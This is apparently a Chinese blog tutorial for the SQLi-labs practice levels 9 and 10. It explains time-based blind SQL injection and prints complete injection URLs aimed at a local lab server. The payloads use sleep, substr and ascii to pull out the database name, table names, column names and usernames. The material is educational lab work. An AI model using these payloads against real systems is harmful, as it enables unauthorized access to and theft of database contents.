SQLI-labs-第九关和第十关

2024-04-14 20:04
文章标签 labs sqli 第九 第十 关和

本文主要是介绍SQLI-labs-第九关和第十关,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

知识点:时间盲注

思路:

1、判断注入点

首先,我们先看一下注入点,输入?id=1

接着输入?id=1' #   结果还是没有变化

接着再输入 ?id=1" #  结果还是没变 

再输入?id=-1 结果还是一样

通过这几种测试方法,结果回显都是一样,既没有显示语句错误,也没有报错,我们可以猜测为时间盲注。但不知道是单引号、还是双引号,可以在下面证实。根据原理知道为单引号

2、时间盲注的函数

sleep() :时间函数,可以延时

if(条件表达式,True, Flase) : 如果条件表达式符合则会显示True的内容,反之则为Flase

length() :判断当前字符的长度

substr(str,pos,len) 

  • str为列名/字符串;
  • pos为起始位置;mysql中的起始位置pos是从1开始的;如果为正数,就表示从正数的位置往下截取字符串(起始坐标从1开始),反之如果起始位置pos为负数,那么 表示就从倒数第几个开始截取;
  • len为截取字符个数/长度

ascii(): ascii 转码

3、判断当前数据库的长度以及库名

http://127.0.0.1:3306/Less-9/?id=1'  and if(length(database())>3,sleep(5),1) --+

如果当前数据库的长度大于3的话,则延时5秒执行

注:注释符 get方式用 --+ post 方式用  #

通过这种方式可以推断出当前数据库的表的长度

http://127.0.0.1:3306/Less-9/?id=1'  and if(length(database())=8,sleep(5),1) --+

接下来就可以推断数据库的名字,可以a~z,A~Z进行推断

我们从a开始试,试出第一个字母为 ’s' 

http://127.0.0.1:3306/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+

依次类推,通过改变subst()函数的值和ASCII码值,我们可以推出数据库名为“security”

4、判断表名

我们还是使用ascii转码和substr()

http://127.0.0.1:3306/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1) --+

第一张表的第一个字母为'e',依次类推,通过改变limit和subst()函数的值和ASCII码值可以推断出所有的表名

5、判断字段名

我们以users为例

http://127.0.0.1:3306/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=101,sleep(5),1) --+

通过这样的步骤,可以推断出users表的所有字段

6、爆值

爆用户名

http://127.0.0.1:3306/Less-9/?id=1' and if(ascii(substr((select username from security.users limit 0,1),1,1))=68,sleep(5),1) --+

通过这种方式可以得到所有的信息


第10关

第10关的思路跟第9关的思路是一样的,只不过注入点的类型不同

1、判断注入点

回显是一样的,所以可以判断为时间盲注

通过下面的回显,可以判断为双引号的时间盲注,接下来的判断就跟第9关的一样


这篇文章就写到这里,哪里表述不清楚的欢迎批评指正

这篇关于SQLI-labs-第九关和第十关的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/903883

相关文章

【转载】TIOBE 编程指数 6 月排行榜公布,vb.net排第九

原文地址:https://baijiahao.baidu.com/s?id=1801368030428902126&wfr=spider&for=pc IT之家 6 月 9 日消息,TIOBE 编程社区指数是一个衡量编程语言受欢迎程度的指标,评判的依据来自世界范围内的工程师、课程、供应商及搜索引擎,今天 TIOBE 官网公布了 2024 年 6 月的编程语言排行榜,IT之家整理如下: Pyt

第十站:Java白——测试与调试的艺术

JUnit作为单元测试的首选工具,帮助开发者确保每个模块按预期工作。Mockito等模拟框架则使得复杂系统中的隔离测试成为可能。而集成开发环境(IDE)如IntelliJ IDEA,凭借其强大的代码分析、调试和重构功能,成为Java开发者手中的神兵利器,提升开发效率和代码质量。 当然,为了呼应我们的旅程,让我们通过一个简短的Java代码示例来展示JUnit测试和Mockito模拟的使用,以及如何

Sqli-Labs之less-6

说在开头:文章是我通过查询资料后按照自己的理解总结出来的,所以如果有说法不对的地方,欢迎大佬指正~ 我们可以看到less-6的题目提示: 得知这道题是“双注入-双引号-字符型”。 所以,这道题的除了判断注入点时是【"–+】以外,其余的解题步骤和less-5是一模一样的! 完整过程详见: Sqli-Labs之less-5(双注入解法) 最后的结果是:

Sqli-Labs之less-5(双注入解法)

说在开头:文章是我通过查询资料后按照自己的理解总结出来的,所以如果有说法不对的地方,欢迎大佬指正~ 这一关花费了我大量的时间,我在网上看了很多别人的解题思路,发现基本上使用的都是盲注,网上用的比较多的就是布尔型盲注和时间延迟型盲注。 我没有花时间去学习什么是盲注,通过看网上的解题思路,我的理解就是,在没有可显字段的情况下,通过输入查询语句一个一个猜测、通过看页面回显来判断自己的猜测是否正确

Sqli-Labs之less-4

说在开头:文章是我通过查询资料后按照自己的理解总结出来的,所以如果有说法不对的地方,欢迎大佬指正~ 目前看来,这几关都是基于less-1的思路,所以详细过程参见: Sqli-Labs之less-1 less-4的变化还是在于注入点的判断: 后续的操作还是一样:

Sqli-Labs之less-3

说在开头:文章是我通过查询资料后按照自己的理解总结出来的,所以如果有说法不对的地方,欢迎大佬指正~ 目前看来,这几关都是基于less-1的思路,所以详细过程参见: Sqli-Labs之less-1 less-3的主要的变化还是在于注入点的判断: 后续的操作就一样了:

第九站:Java黑——安全编码的坚固防线(第②篇)

4. 验证和过滤输入数据示例:使用Apache Commons Lang 对输入数据进行验证和过滤是防止多种安全漏洞的关键步骤,包括但不限于SQL注入和命令注入。Apache Commons Lang库提供了一些实用方法来帮助进行字符串操作和验证。以下是一个简单的示例,展示如何使用它来检查输入是否只包含数字和字母,从而防止不安全的字符输入: 首先,确保你的项目中已经包含了Apache Comm

第九站:Java黑——安全编码的坚固防线

在Java开发中,确保应用程序安全是一项至关重要的任务。以下是几个关于如何在Java中实施安全编码实践的例子,特别关注OWASP Top 10安全威胁中的几个关键点:加密解密、SQL注入防护。 1. 加密解密示例:使用Java Cryptography Architecture (JCA) Java提供了强大的加密支持来保护敏感数据。以下是一个简单的使用javax.crypto包进行AES加密

2011年蓝桥杯第九题

这道题目的意思也很简单,核心就是枚举,对于m种商品,每种商品个数有0到 i 种可能,value*i<=now,其中value为商品的单价,now为总钱数1000 - 已经消费的钱数,也就是目前剩余的总钱数,用深搜枚举所有可能,下面是代码: #include <stdio.h>#include <stdlib.h>#define Max 1000 //数据上限,最多有1000种商品i

德克萨斯大学奥斯汀分校自然语言处理硕士课程汉化版(第十周) - 自然语言处理应用

自然语言处理应用 1. 问答系统 1.1. 信息检索1.2. 机器阅读理解1.3. 多跳问答 2. 对话系统3. 机器翻译4. 文本摘要 1. 问答系统 在自然语言处理领域,问答系统(Question Answering,QA)是一个广泛且重要的研究方向,其目的是让计算机根据给定的上下文或者无上下文的情况下,回答用户提出的问题。QA系统广泛应用于搜索引擎、虚拟助手、在线客服等场景。